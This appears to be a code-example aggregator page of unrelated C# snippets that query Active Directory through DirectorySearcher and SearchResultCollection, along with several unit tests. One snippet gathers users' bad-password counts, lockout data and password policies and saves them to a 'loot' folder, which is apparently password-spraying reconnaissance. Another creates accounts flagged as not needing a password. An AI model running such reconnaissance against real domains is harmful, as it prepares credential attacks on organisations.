                            deBase.Dispose();
                        }
                        else
                        {
                            this.Invoke((MethodInvoker) delegate { tSOUs.Image = new Bitmap(1, 1); });
                            Thread.CurrentThread.Abort();
                        }
                    }
                    catch
                    {
                        Thread.CurrentThread.Abort();
                    }
                });

                //-------------------------------------------------------------

                //Threads Start------------------------------------------------
                thloadAdUsers.Start();
                thloadAdComputers.Start();
                thloadAdGroups.Start();
                thloadAdOUS.Start();
                //-------------------------------------------------------------
            }
            else
            {
                if (txtBoxObject.Text.Count() == 0)
                {
                    this.Text = "What are you Seeking Today ?";
                    txtBoxObject.SelectionStart  = 0;
                    txtBoxObject.SelectionLength = txtBoxObject.Text.Length;
                }
            }
            tvResults.TreeViewNodeSorter = new NodeSorterByName();
            tvResults.Sort();
        }
        public void CopyTo_NoSpaceAtIndex()
        {
            SearchResultCollection collection = new SearchResultCollection();

            SearchResult res = new SearchResult(MockDocument("d", "d", "d", DateTime.Now));
            SearchResult res2 = new SearchResult(MockDocument("d2", "d", "d", DateTime.Now));

            collection.Add(res);
            collection.Add(res2);

            SearchResult[] results = new SearchResult[2];

            collection.CopyTo(results, 1);
        }
        public async Task <SearchResultCollection> SearchAsync(SearchQuery query, CancellationToken ct)
        {
            var files = new List <string>();

            addFiles(_allUsersStartMenuPath, files);
            addFiles(_currentUserStartMenuPath, files);

            var results = new SearchResultCollection
            {
                Title           = "Start Menu",
                Relevance       = SearchResultRelevance.ONTOP,
                FontAwesomeIcon = "Bars"
            };

            results.Results = new ObservableCollection <SearchResult>();
            foreach (var f in files)
            {
                var filenameWithoutExtension = Path.GetFileNameWithoutExtension(f);
                if (filenameWithoutExtension?.IndexOf(query.QueryString, StringComparison.CurrentCultureIgnoreCase) == -1)
                {
                    continue;
                }

                results.Results.Add(new ExecutableSearchResult
                {
                    Title            = filenameWithoutExtension,
                    ParentCollection = results,
                    LaunchPath       = f,
                });
            }
            if (results.Results.Count == 0)
            {
                return(null); // nothing found
            }
            var task = Task.Run(() =>
            {
                var toDelete = new List <SearchResult>();
                foreach (var r in results.Results)
                {
                    if (Directory.Exists(r.LaunchPath) || !File.Exists(r.LaunchPath) ||
                        !r.LaunchPath.EndsWith(".lnk", StringComparison.CurrentCultureIgnoreCase))
                    {
                        toDelete.Add(r);
                        continue;
                    }

                    try
                    {
                        r.Icon = new WindowsPEResourceIcon {
                            FilePath = r.LaunchPath
                        };
                        //var shortcut = _wscriptShell.CreateShortcut(r.LaunchPath);
                        //var shortcutTarget = shortcut.TargetPath.ToString();
                        //var shortcutArguments = shortcut.Arguments.ToString();
                        //if (!string.IsNullOrWhiteSpace(shortcutTarget) && shortcutTarget.EndsWith(".exe", StringComparison.OrdinalIgnoreCase) && File.Exists(shortcutTarget))
                        //{
                        //    r.Icon = new WindowsPEResourceIcon { FilePath = r.LaunchPath };
                        //}
                    }
                    catch (Exception)
                    {
                    }
                }

                _runOnUiThreadHelper.RunOnUIThread(() =>
                {
                    foreach (var d in toDelete)
                    {
                        results.Results.Remove(d);
                        if (results.Results.Count == 0)
                        {
                            results.Relevance = SearchResultRelevance.HIDE;
                        }
                    }
                });
            }, ct);

            return(results);
        }
        public void GetEnumerator()
        {
            SearchResultCollection collection = new SearchResultCollection();

            SearchResult res = new SearchResult(MockDocument("d", "d", "d", DateTime.Now));
            SearchResult res2 = new SearchResult(MockDocument("d2", "d", "d", DateTime.Now));

            collection.Add(res);
            collection.Add(res2);

            int count = 0;
            foreach(SearchResult r in collection) {
                count++;
            }
            Assert.AreEqual(2, count, "Wrong count - enumerator does not work");
        }
示例#46
0
    public static void Main(string[] args)
    {
        if (args.Length == 0)
        {
            PrintUsage();
            return;
        }

        string                 startNode       = "";
        string                 filter          = "";
        List <string>          attrs           = new List <string>();
        int                    limit           = 0;
        bool                   adspathIncluded = false;
        bool                   countOnly       = false;
        bool                   listFormat      = false;
        bool                   printDividers   = false;
        string                 server          = "";
        string                 domain          = "";
        string                 username        = "";
        string                 password        = "";
        int                    buffer          = 2 * 1024 * 1024;
        string                 outputFilepath  = "";
        int                    argIndex        = 1;
        SearchResultCollection results         = null;

        // Parse arguments

        // Bail if anything but a complex query
        if (args[0] != "*")
        {
            Console.Error.WriteLine("ERROR: The specified operation is not supported");
            Console.WriteLine("\nDONE");
            return;
        }

        // Parse optional start node
        if (!args[argIndex].StartsWith("-"))
        {
            startNode = args[argIndex];
            argIndex++;
        }

        // Parse other arguments
        for (int i = argIndex; i < args.Length; i++)
        {
            string arg = args[i];

            switch (arg.ToUpper())
            {
            case "-FILTER":
            case "/FILTER":
                i++;
                filter = args[i];
                break;

            case "-ATTR":
            case "/ATTR":
                i++;

                while (i < args.Length && !args[i].StartsWith("-") && !args[i].StartsWith("/"))
                {
                    if (args[i].ToLower() == "adspath")
                    {
                        adspathIncluded = true;
                    }
                    attrs.Add(args[i]);
                    i++;
                }

                // Back up one so any arguments after the attributes can be parsed
                if (i < args.Length)
                {
                    i--;
                }

                break;

            case "-LIMIT":
            case "/LIMIT":
                i++;

                if (!int.TryParse(args[i], out limit))
                {
                    Console.Error.WriteLine("ERROR: Invalid limit");
                    Console.WriteLine("\nDONE");
                    return;
                }

                break;

            case "-C":
            case "/C":
                countOnly = true;
                break;

            case "-L":
            case "/L":
                listFormat = true;
                break;

            case "-T":
            case "/T":
                printDividers = true;
                break;

            case "-S":
            case "/S":
                i++;
                server = args[i];
                break;

            case "-D":
            case "/D":
                i++;
                domain = args[i];
                break;

            case "-U":
            case "/U":
                i++;
                username = args[i];
                break;

            case "-P":
            case "/P":
                i++;
                password = args[i];
                break;

            case "-B":
            case "/B":
                i++;

                if (!int.TryParse(args[i], out buffer))
                {
                    Console.Error.WriteLine("ERROR: Invalid buffer size");
                    Console.WriteLine("\nDONE");
                    return;
                }

                buffer = buffer * 1024 * 1024;
                break;

            case "-O":
            case "/O":
                i++;
                outputFilepath = args[i];
                break;

            case "/?":
                PrintUsage();
                return;
            }
        }

        // Ensure a filter is specified
        if (string.IsNullOrEmpty(filter))
        {
            Console.Error.WriteLine("ERROR: No filter specified");
            Console.WriteLine("\nDONE");
            return;
        }

        // If no 'attr' argument is specified, assume '-attr *'
        if (attrs.Count == 0)
        {
            attrs.Add("*");
        }

        // Default to list format if '-attr *' is specified
        if (attrs.Count > 0 && attrs[0] == "*")
        {
            listFormat = true;
        }

        // Prevent accidentally overwriting a file
        if (!string.IsNullOrEmpty(outputFilepath) && File.Exists(outputFilepath))
        {
            Console.Error.WriteLine("ERROR: Output file ({0}) already exists", outputFilepath);
            Console.WriteLine("\nDONE");
            return;
        }

        try
        {
            DirectoryEntry rootEntry;

            // If a server is specified, use that; if a domain is specified, use that; otherwise, auto-detect the current domain
            if (!string.IsNullOrEmpty(server))
            {
                rootEntry = new DirectoryEntry("LDAP://" + server);
            }
            else if (!string.IsNullOrEmpty(domain))
            {
                rootEntry = new DirectoryEntry("LDAP://" + domain);
            }
            else
            {
                rootEntry = new DirectoryEntry("LDAP://rootDSE");
                rootEntry = new DirectoryEntry("LDAP://" + rootEntry.Properties["defaultNamingContext"].Value);
            }

            // Optionally specify username and password to use to collect
            // Source: https://stackoverflow.com/questions/10742661/c-sharp-accessing-active-directory-with-different-user-credentials
            if (!string.IsNullOrEmpty(username) && !string.IsNullOrEmpty(password))
            {
                rootEntry.Username = username;
                rootEntry.Password = password;
            }

            // Initialize DirectorySearcher based on appropriate target
            DirectorySearcher searcher = new DirectorySearcher(rootEntry);

            // Set the start node, if applicable
            if (!string.IsNullOrEmpty(startNode))
            {
                searcher.SearchRoot = new DirectoryEntry("LDAP://" + startNode);
            }

            searcher.Filter = filter;

            // Set the limit, if applicable
            if (limit > 0)
            {
                searcher.SizeLimit = limit;
            }

            // Set attributes to load
            foreach (string attr in attrs)
            {
                searcher.PropertiesToLoad.Add(attr);
            }

            // Search
            results = searcher.FindAll();

            // Print the number of records returned
            // Differs from native functionality, but it's convenient
            Console.WriteLine("Records Found: {0}\n", results.Count);

            if (!countOnly)
            {
                if (string.IsNullOrEmpty(outputFilepath))
                {
                    // Print results to terminal
                    PrintResults(results, adspathIncluded, listFormat, printDividers);
                }
                else
                {
                    // If outputFilepath is specified, redirect standard output from the console to the output file

                    // Source: https://stackoverflow.com/questions/61074203/c-sharp-performance-comparison-async-vs-non-async-text-file-io-operation-via-r
                    using (FileStream stream = new FileStream(outputFilepath, FileMode.Create, FileAccess.Write, FileShare.Read, buffer, FileOptions.SequentialScan))
                    {
                        using (StreamWriter writer = new StreamWriter(stream, Encoding.UTF8))
                        {
                            Console.SetOut(writer);

                            PrintResults(results, adspathIncluded, listFormat, printDividers);
                        }
                    }

                    // Source: https://docs.microsoft.com/en-us/dotnet/api/system.console.error?view=net-5.0
                    // Recover the standard output stream so that a completion message can be displayed.
                    StreamWriter stdout = new StreamWriter(Console.OpenStandardOutput());
                    stdout.AutoFlush = true;
                    Console.SetOut(stdout);
                }
            }
        } catch (Exception ex) {
            Console.Error.WriteLine("ERROR: {0}", ex.Message);
        } finally {
            // Dispose of objects used
            if (results != null)
            {
                results.Dispose();
            }
        }

        Console.WriteLine("\nDONE");
    }
 public void GetSearchResult_NullDocument()
 {
     SearchResultCollection collection = new SearchResultCollection();
     collection.GetSearchResult(null);
 }
        public Entity UpdateEntity(string samAccountName, EntityBase entity, string[] columnsToUpdate, bool createIfNotExist = false)
        {
            if (string.IsNullOrWhiteSpace(samAccountName) || entity == null || columnsToUpdate == null || columnsToUpdate.Length == 0)
            {
                throw new Exception("One or more parameteres are invalid.");
            }

            PropertyInfo[] columnsPropsInfos = (new Entity()).GetProperties();

            var tempList = new List <string>();

            foreach (var prop in columnsPropsInfos)
            {
                if (columnsToUpdate.Contains(prop.Name))
                {
                    tempList.Add(prop.GetActiveDirectoryName());
                }
            }
            var adColumnsToUpdate = tempList.ToArray();


            if (string.IsNullOrWhiteSpace(samAccountName) || entity == null || adColumnsToUpdate == null || adColumnsToUpdate.Length == 0)
            {
                throw new Exception("One or more parameteres are invalid.");
            }


            string[] columns = (new Entity()).GetActiveDirectoryColumns();



            bool   isNew      = false;
            string filterStr  = "(&(objectClass=user)(|{0} ) )";
            var    conditions = new StringBuilder();

            conditions.Append(" (").Append("SamAccountName").Append("=").Append(samAccountName).Append(")");

            filterStr = string.Format(filterStr, conditions);

            using (var deParent = CreateDirectoryEntry())
            {
                deParent.AuthenticationType = _authenticationType;
                using (var ds = new DirectorySearcher(deParent, filterStr, columns, SearchScope.Subtree))
                {
                    ds.PageSize = 1000;
                    using (SearchResultCollection src = ds.FindAll())
                    {
                        if (src.Count > 1)
                        {
                            throw new Exception("More than one user found with the same SamAccountName:" + samAccountName);
                        }

                        DirectoryEntry userde;
                        if (src.Count == 0)
                        {
                            if (createIfNotExist)
                            {
                                isNew = true;
                                var p = CreatePath(entity.Path);
                                if (p == null)
                                {
                                    throw new Exception("Could not create path for " + entity.Path);
                                }

                                userde = p.Children.Add("CN=" + samAccountName, entity.SchemaClassName);

                                int accVal = NORMAL_ACCOUNT | PWD_NOTREQD;
                                if (entity.IsActive.HasValue && !entity.IsActive.Value)
                                {
                                    accVal = accVal | ADS_UF_ACCOUNTDISABLE;
                                }

                                //accVal = accVal & ~ADS_UF_ACCOUNTDISABLE;  To Enable it.
                                userde.Properties["sAMAccountName"].Value     = samAccountName;
                                userde.Properties["userAccountControl"].Value = accVal;
                            }
                            else
                            {
                                throw new Exception("LanId: " + samAccountName + " not found.");
                            }
                        }
                        else
                        {
                            userde = src[0].GetDirectoryEntry();
                        }

                        foreach (PropertyInfo prop in columnsPropsInfos)
                        {
                            if (prop.IsActiveDirectory() && prop.UpdatableOnActiveDirectory())
                            {
                                string propName   = prop.Name;
                                string col        = prop.GetActiveDirectoryName();
                                var    updateType = prop.UpdateTypeOnActiveDirectory();
                                if (adColumnsToUpdate.Contains(col))
                                {
                                    if (updateType == ActiveDirectoryPropertyAttribute.ActiveDirectoryUpdateType.New && !isNew)
                                    {
                                        continue;
                                    }
                                    if (updateType == ActiveDirectoryPropertyAttribute.ActiveDirectoryUpdateType.Na ||
                                        updateType == ActiveDirectoryPropertyAttribute.ActiveDirectoryUpdateType.Rename)
                                    {
                                        continue;
                                    }
                                    var val = entity.GetValue(propName);
                                    if (val != null && !string.IsNullOrWhiteSpace(val.ToString()))
                                    {
                                        if (userde.Properties.Contains(col))
                                        {
                                            userde.Properties[col].Value = val;
                                        }
                                        else
                                        {
                                            userde.Properties[col].Add(val);
                                        }
                                    }
                                    else
                                    {
                                        if (userde.Properties.Contains(col))
                                        {
                                            userde.Properties[col].Clear();
                                        }
                                    }
                                }
                            }
                        }

                        userde.CommitChanges();

                        if (adColumnsToUpdate.Contains("Name") &&
                            !string.IsNullOrWhiteSpace(entity.Name) &&
                            userde.Name != entity.Name)
                        {
                            string name = entity.Name;
                            if (!entity.Name.Trim().StartsWith("cn=", StringComparison.OrdinalIgnoreCase))
                            {
                                name = "CN=" + name;
                            }

                            if (userde.Name != name)
                            {
                                userde.Rename(name);
                            }
                        }
                        else if (adColumnsToUpdate.Contains("Cn") &&
                                 (!userde.Properties.Contains("Cn") ||
                                  (string)userde.Properties["Cn"].Value != entity.Cn))
                        {
                            userde.Rename("CN=" + entity.Cn);
                        }
                    }
                    return(GetEntity(samAccountName));
                }
            }
        }
 public void Indexer_InvalidIndex_Negative()
 {
     SearchResultCollection collection = new SearchResultCollection();
     SearchResult i = collection[-1];
 }
示例#50
0
        protected void btnAdd_Click(Object Sender, EventArgs e)
        {
            if (Request.QueryString["userid"] != null && Request.QueryString["userid"] != "")
            {
                lblError.Text = "";
                int    intUser = Int32.Parse(Request.QueryString["userid"]);
                AD     oAD     = new AD(0, dsn, (int)CurrentEnvironment.CORPDMN);
                string strXID  = txtXID.Text.Trim().ToUpper();
                SearchResultCollection oResults = oAD.Search(strXID, "sAMAccountName");
                if (oResults.Count == 1)
                {
                    SearchResult oResult = oResults[0];
                    if (oResult.Properties.Contains("sAMAccountName") == true)
                    {
                        strXID = oResult.GetDirectoryEntry().Properties["sAMAccountName"].Value.ToString();
                    }
                    if (oResult.Properties.Contains("extensionattribute10") == true)
                    {
                        string strID    = oUser.GetName(intUser, false);
                        string strPNCID = oResult.GetDirectoryEntry().Properties["extensionattribute10"].Value.ToString();
                        if (strID.ToUpper().Trim() == strPNCID.Trim().ToUpper())
                        {
                            oUser.Update(intUser, strXID, strID.ToUpper());
                            int intAdmin = Int32.Parse(Request.QueryString["admin"]);
                            if (panAdmin.Visible == false)
                            {
                                intAdmin = 0;
                            }
                            oWorkstation.AddAccountFix(0, intWorkstation, intUser, intAdmin, Int32.Parse(Request.QueryString["remote"]));
                            Response.Redirect(Request.Path + "?id=" + Request.QueryString["id"] + "&add=true");
                        }
                        else
                        {
                            lblError.Text = "<p>The X-ID you entered (" + strXID + ") has a different PNC ID configured (" + strPNCID + ").</p><p>Please try again or contact your clearview administrator.</p>";
                        }
                    }
                    else
                    {
                        lblError.Text = "<p>The X-ID you entered (" + strXID + ") does not have a PNC ID attribute configured.</p><p>Please try again or contact your clearview administrator.</p>";
                    }
                }
                else if (oResults.Count > 1)
                {
                    lblError.Text = "There were " + oResults.Count.ToString() + " accounts found in CORPDMN for the account " + txtXID.Text + ". Please try again.";
                }
                else
                {
                    lblError.Text = "Could not find that X-ID in CORPDMN. Please try again.";
                }
            }
            else
            {
                int    intUser      = Int32.Parse(Request.Form[hdnUser.UniqueID]);
                bool   boolContinue = false;
                string strID        = oUser.GetName(intUser, false);
                string strXID       = oUser.GetName(intUser, true);
                if (strXID == "" || strID == "" || strXID == strID)
                {
                    // Get X-ID (since it is needed for the INI file and AD setup)
                    SearchResultCollection oCollection = oFunction.eDirectory(strID);
                    if (oCollection.Count == 1 && oCollection[0].GetDirectoryEntry().Properties.Contains("businesscategory") == true)
                    {
                        boolContinue = true;
                        strXID       = oCollection[0].GetDirectoryEntry().Properties["businesscategory"].Value.ToString();
                        oUser.Update(intUser, strXID, strID);
                    }
                    else if (strXID != "")
                    {
                        oCollection = oFunction.eDirectory("businesscategory", strXID);
                        if (oCollection.Count == 1)
                        {
                            boolContinue = true;
                            strID        = oCollection[0].GetDirectoryEntry().Properties["cn"].Value.ToString();
                            oUser.Update(intUser, strXID, strID);
                        }
                        else
                        {
                            Response.Redirect(Request.Path + "?id=" + Request.QueryString["id"] + "&userid=" + intUser.ToString() + "&admin=" + (chkAdmin.Checked ? "1" : "0") + "&remote=" + (chkRemote.Checked ? "1" : "0"));
                        }
                    }
                }
                else
                {
                    boolContinue = true;
                }

                if (boolContinue == true)
                {
                    oWorkstation.AddAccountFix(0, intWorkstation, intUser, (chkAdmin.Checked ? 1 : 0), (chkRemote.Checked ? 1 : 0));
                    Response.Redirect(Request.Path + "?id=" + Request.QueryString["id"] + "&add=true");
                }
                else
                {
                    Page.ClientScript.RegisterClientScriptBlock(typeof(Page), "offshore", "<script type=\"text/javascript\">alert('There was a problem finding the user in the directory.');<" + "/" + "script>");
                }
            }
        }
 public void ReadOnly()
 {
     SearchResultCollection collection = new SearchResultCollection();
     Assert.IsFalse(collection.IsReadOnly);
 }
示例#52
0
        ///<summary>DirectoryEntrySearcher</summary>
        ///<remarks>
        /// DirectoryEntrySearcher( "LDAP://localhost", "host" );
        /// DirectoryEntrySearcher( "LDAP://localhost", "Guest" );
        /// DirectoryEntrySearcher( "IIS://localhost", null );
        /// DirectoryEntrySearcher( "IIS://localhost/W3SVC", null );
        /// DirectoryEntrySearcher( "WinNT://localhost", null );
        ///</remarks>
        public static SearchResultCollection DirectoryEntrySearcher
        (
            string path,
            string username,
            string password,
            string filter,
            out StringBuilder sb,
            out String exceptionMessage
        )
        {
            DirectoryEntry           directoryEntry    = null;
            DirectorySearcher        directorySearcher = null;
            ResultPropertyCollection resultPropertyCollection;
            SearchResultCollection   searchResultCollection = null;

            sb = null;
            exceptionMessage = null;
            try
            {
                directoryEntry = new DirectoryEntry(path);
                if (string.IsNullOrEmpty(username) == false)
                {
                    directoryEntry.Password = password;
                    directoryEntry.Username = username;
                }
                directorySearcher = new DirectorySearcher(directoryEntry);
                if (string.IsNullOrEmpty(filter) == false)
                {
                    directorySearcher.Filter = (String.Format("(anr={0})", filter));
                }
                searchResultCollection = directorySearcher.FindAll();
                sb = new StringBuilder();
                foreach (SearchResult searchResult in searchResultCollection)
                {
                    System.Console.WriteLine("Path: {0}", searchResult.GetDirectoryEntry().Path);
                    sb.AppendFormat(FormatSearchResultPath, searchResult.GetDirectoryEntry().Path);
                    resultPropertyCollection = searchResult.Properties;
                    foreach (string propertyName in resultPropertyCollection.PropertyNames)
                    {
                        System.Console.WriteLine("Property Name: {0}", propertyName);
                        sb.AppendFormat(FormatPropertyName, propertyName);
                        foreach (Object obj in resultPropertyCollection[propertyName])
                        {
                            System.Console.WriteLine("\t {0}", obj);
                            sb.AppendFormat(FormatResultProperty, obj);
                        }
                    }
                }
            }
            catch (Exception ex) { exceptionMessage = ex.Message; }
            finally
            {
                if (directorySearcher != null)
                {
                    directorySearcher.Dispose();
                }
                ;
                if (directoryEntry != null)
                {
                    directoryEntry.Close();
                }
            }
            return(searchResultCollection);
        }
 public void Remove_NullItem()
 {
     SearchResultCollection collection = new SearchResultCollection();
     collection.Remove(null);
 }
示例#54
0
        public static void GetUsers(string domain, string domainController = "", string ou = "")
        {
            if (string.IsNullOrEmpty(domainController))
            {
                domainController = FindDomainController(domain);
            }
            string bindPath = BindPath(domain, domainController);
            //Console.WriteLine(bindPath);

            DirectoryEntry            directoryObject = new DirectoryEntry(bindPath);
            List <LDAPPasswordPolicy> Policies        = new List <LDAPPasswordPolicy>();
            List <UserInfo>           Users           = new List <UserInfo>();

            DirectorySearcher userSearcher = new DirectorySearcher(directoryObject);

            userSearcher.Filter = "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2))";
            userSearcher.PropertiesToLoad.Add("sAMAccountName");
            userSearcher.PropertiesToLoad.Add("badPwdCount");
            userSearcher.PropertiesToLoad.Add("badPasswordTime");
            userSearcher.PropertiesToLoad.Add("lockoutTime");
            userSearcher.PropertiesToLoad.Add("lockoutDuration");
            userSearcher.PropertiesToLoad.Add("pwdLastSet");
            userSearcher.SearchScope = SearchScope.Subtree;

            try
            {
                //pass policy
                Policies.Add(GetDomainPolicy(directoryObject));

                var fineGrainedPolicies = GetFineGrainedPolicies(directoryObject);
                fineGrainedPolicies.ForEach(x => x.AppliesToUsers = GetPasswordPolicyUsers(x, directoryObject));
                Policies.AddRange(fineGrainedPolicies);

                //users
                SearchResultCollection users = userSearcher.FindAll();
                foreach (SearchResult user_ in users)
                {
                    LDAPPasswordPolicy policy;
                    var user = new LDAPUserInfo(user_);
                    policy = user.GetUserPolicy(Policies);
                    user   = user.ClassifyUser(policy);
                    Users.Add(user);
                }

                Console.WriteLine($"[*] {Users.Count} users & {Policies.Count} policies found");
                Console.WriteLine("[*] Saving to users.json and policy.json to loot folder");
                File.WriteAllText(Path.Combine("loot", "users.json"), new JavaScriptSerializer().Serialize(Users));
                File.WriteAllText(Path.Combine("loot", "policy.json"), new JavaScriptSerializer().Serialize(Policies));
            }
            catch (System.Runtime.InteropServices.COMException ex)
            {
                switch ((uint)ex.ErrorCode)
                {
                case 0x8007052E:
                    throw new Exception("[-] Login error when retrieving usernames from dc \"" + domainController + "\"! Bad creds?");

                case 0x8007203A:
                    throw new Exception("[-] Error connecting with the dc \"" + domainController + "\"! Make sure that provided /domain or /dc are valid");

                case 0x80072032:
                    throw new Exception("[-] Invalid syntax in DN specification! Make sure that /ou is correct");

                case 0x80072030:
                    throw new Exception("[-] There is no such object on the server! Make sure that /ou is correct");

                default:
                    throw ex;
                }
            }
            catch (Exception e)
            {
                throw e;
            }
        }
 public void Add_NullItem()
 {
     SearchResultCollection collection = new SearchResultCollection();
     collection.Add(null);
 }
示例#56
0
        private Dictionary <string, ImportedPrincipalInfo> generateUserMappings(DirectoryEntry ldapDirectory, string ldapSyncAlias, string fallbackName, string internalName)
        {
            Dictionary <string, ImportedPrincipalInfo> users = new Dictionary <string, ImportedPrincipalInfo>();
            // Step 1: Get all the AD users in one pass - this is quicker
            string domain = ((string)ldapDirectory.Properties["name"][0]).ToUpper();

            Log.Info(string.Format("Loading LDAP Users from {0} (domain = {1})", ldapDirectory.Path, domain));
            Dictionary <string, ImportedPrincipalInfo> usersByGUID       = new Dictionary <string, ImportedPrincipalInfo>();
            Dictionary <string, ImportedPrincipalInfo> usersByLogin      = new Dictionary <string, ImportedPrincipalInfo>();
            Dictionary <string, ImportedPrincipalInfo> usersByKerberosId = new Dictionary <string, ImportedPrincipalInfo>();

            XmlReader cache       = LoadCache(ldapDirectory, "users");
            bool      cacheLoaded = false;

            if (cache != null)
            {
                try
                {
                    using (cache)
                    {
                        int c = 0;
                        Log.Info("Loading users from the cache...");
                        while (cache.ReadToFollowing("entry"))
                        {
                            ImportedPrincipalInfo info = new ImportedPrincipalInfo(XElement.Load(cache.ReadSubtree()));
                            if (info.Enabled)
                            {
                                usersByGUID[info.Guid]       = info;
                                usersByLogin[info.LoginName] = info;
                                if (info.KerberosId != null)
                                {
                                    usersByKerberosId[info.KerberosId] = info;
                                }
                            }
                            if ((++c % PAGE_SIZE) == 0)
                            {
                                Log.Info(string.Format("Loaded {0} users from the cache", c));
                            }
                        }
                        cacheLoaded = true;
                    }
                }
                catch (Exception e)
                {
                    usersByGUID.Clear();
                    usersByLogin.Clear();
                    usersByKerberosId.Clear();
                    Log.Warn(string.Format("Failed to load data from the user cache for LDAP directory [{0}] (for {1})", ldapDirectory.Path, domain), e);
                }
                finally
                {
                    cache = null;
                }
            }

            if (!cacheLoaded)
            {
                using (DirectorySearcher ldapSearch = new DirectorySearcher(ldapDirectory))
                {
                    ldapSearch.Filter   = "(&(objectClass=user)(objectCategory=person))";
                    ldapSearch.PageSize = PAGE_SIZE;
                    using (SearchResultCollection ldapResults = ldapSearch.FindAll())
                    {
                        int c = 0;
                        foreach (SearchResult r in ldapResults)
                        {
                            ImportedPrincipalInfo info = new ImportedPrincipalInfo(r, domain);
                            if (info.Enabled)
                            {
                                usersByGUID[info.Guid]       = info;
                                usersByLogin[info.LoginName] = info;
                                if (info.KerberosId != null)
                                {
                                    usersByKerberosId[info.KerberosId] = info;
                                }
                            }
                            if ((++c % ldapSearch.PageSize) == 0)
                            {
                                Log.Info(string.Format("Loaded {0} users", c));
                            }
                        }
                    }
                }

                List <string> logins = new List <string>(usersByLogin.Keys);
                List <ImportedPrincipalInfo> items = new List <ImportedPrincipalInfo>(usersByLogin.Count);
                logins.Sort();
                foreach (string l in logins)
                {
                    items.Add(usersByLogin[l]);
                }
                try
                {
                    StoreCache(ldapDirectory, "users", items);
                }
                catch (Exception e)
                {
                    Log.Warn(string.Format("Failed to write the user cache for the LDAP directory at [{0}] (domain {1})", ldapDirectory.Path, ldapDirectory.Name), e);
                }
            }

            // Step 2: sanitize the fallback users.
            if ((fallbackName != null) && !usersByLogin.ContainsKey(fallbackName))
            {
                fallbackName = null;
            }
            if ((internalName != null) && !usersByLogin.ContainsKey(internalName))
            {
                internalName = null;
            }

            // Step 3: Scan through the XML file generating the mappings for the users being referenced
            using (XmlReader usersXml = this.ImportContext.LoadIndex("users"))
            {
                Log.Info(string.Format("Loaded {0} LDAP users, resolving the users in XML...", usersByGUID.Count));
                while (usersXml.ReadToFollowing("user"))
                {
                    using (XmlReader userXml = usersXml.ReadSubtree())
                    {
                        XElement   user      = XElement.Load(userXml);
                        XNamespace ns        = user.GetDefaultNamespace();
                        string     name      = (string)user.Element(ns + "name");
                        string     source    = (string)user.Element(ns + "source");
                        string     loginName = (string)user.Element(ns + "loginName");
                        string     osName    = (string)user.Element(ns + "osName");

                        IEnumerable <XElement> attributes = user.Element(ns + "attributes").Elements(ns + "attribute");
                        ImportedPrincipalInfo  info       = null;
                        switch (source)
                        {
                        case "LDAP":
                            string ldapGuid = ((string)attributes.FirstOrDefault(a => a.Attribute("name").Value == "dctm:user_global_unique_id")).ToLower().Trim();
                            // ldapGuid will be of the form DIRECTORY:hexGuid, so we have to parse the directory name.  If it's the same directory
                            // as our domain uses, then we can search by guid directly.  Otherwise, we have to search by samaccountname
                            string[] data = ldapGuid.Split(':');
                            if (data[0] == ldapSyncAlias && usersByGUID.ContainsKey(data[1]))
                            {
                                info = usersByGUID[data[1]];
                            }

                            if (info == null)
                            {
                                // Either not the same domain, or couldn't find the GUID in question, so...
                                if (usersByLogin.ContainsKey(loginName))
                                {
                                    info = usersByLogin[loginName];
                                }
                                else
                                if (usersByLogin.ContainsKey(osName))
                                {
                                    info = usersByLogin[osName];
                                }
                                else
                                if (fallbackName != null)
                                {
                                    info = usersByLogin[fallbackName];
                                }
                            }
                            break;

                        case "dm_krb":
                            // We do things differently here...
                            if (usersByKerberosId.ContainsKey(osName))
                            {
                                info = usersByKerberosId[osName];
                            }
                            else
                            if (usersByLogin.ContainsKey(loginName))
                            {
                                info = usersByLogin[loginName];
                            }
                            else
                            if (fallbackName != null)
                            {
                                info = usersByLogin[fallbackName];
                            }
                            break;

                        default:
                            if (name.StartsWith("dm_"))
                            {
                                if (internalName != null)
                                {
                                    info = usersByLogin[internalName];
                                }
                            }
                            else
                            {
                                if (usersByLogin.ContainsKey(loginName))
                                {
                                    info = usersByLogin[loginName];
                                }
                                else
                                if (usersByLogin.ContainsKey(osName))
                                {
                                    info = usersByLogin[osName];
                                }
                                else
                                {
                                    string key = (name.StartsWith("${") ? internalName : fallbackName);
                                    if (key != null)
                                    {
                                        info = usersByLogin[key];
                                    }
                                }
                            }
                            break;
                        }

                        if (info != null)
                        {
                            users[name] = info;
                            if (name.StartsWith("${"))
                            {
                                users[loginName] = info;
                            }
                        }
                    }
                }
                // Make sure the fallbacks are in place
                if (fallbackName != null && !users.ContainsKey(fallbackName))
                {
                    users[fallbackName] = usersByLogin[fallbackName];
                }
                if (internalName != null && !users.ContainsKey(internalName))
                {
                    users[internalName] = usersByLogin[internalName];
                }

                // Add the DM_WORLD mapping
                users[DM_WORLD] = new ImportedPrincipalInfo(EVERYONE_NAME, null, EVERYONE_ID);
            }
            return(users);
        }
 public void Constructor_InvalidCapacity()
 {
     SearchResultCollection collection = new SearchResultCollection(0);
 }
示例#58
0
        private Dictionary <string, ImportedPrincipalInfo> generateGroupMappings(DirectoryEntry ldapDirectory, string ldapSyncAlias, string fallbackName, string internalName)
        {
            Dictionary <string, ImportedPrincipalInfo> groups = new Dictionary <string, ImportedPrincipalInfo>();
            string domain = ((string)ldapDirectory.Properties["name"][0]).ToUpper();

            Log.Info(string.Format("Loading LDAP Groups from {0}", ldapDirectory.Path));
            Dictionary <string, ImportedPrincipalInfo> groupsByGUID  = new Dictionary <string, ImportedPrincipalInfo>();
            Dictionary <string, ImportedPrincipalInfo> groupsByLogin = new Dictionary <string, ImportedPrincipalInfo>();

            XmlReader cache       = LoadCache(ldapDirectory, "groups");
            bool      cacheLoaded = false;

            if (cache != null)
            {
                try
                {
                    using (cache)
                    {
                        int c = 0;
                        Log.Info("Loading groups from the cache...");
                        while (cache.ReadToFollowing("entry"))
                        {
                            ImportedPrincipalInfo info = new ImportedPrincipalInfo(XElement.Load(cache.ReadSubtree()));
                            groupsByGUID[info.Guid]       = info;
                            groupsByLogin[info.LoginName] = info;
                            if ((++c % PAGE_SIZE) == 0)
                            {
                                Log.Info(string.Format("Loaded {0} users from the cache", c));
                            }
                        }
                        cacheLoaded = true;
                    }
                }
                catch (Exception e)
                {
                    groupsByGUID.Clear();
                    groupsByLogin.Clear();
                    Log.Warn(string.Format("Failed to load data from the group cache for LDAP directory [{0}] (for {1})", ldapDirectory.Path, domain), e);
                }
                finally
                {
                    cache = null;
                }
            }

            if (!cacheLoaded)
            {
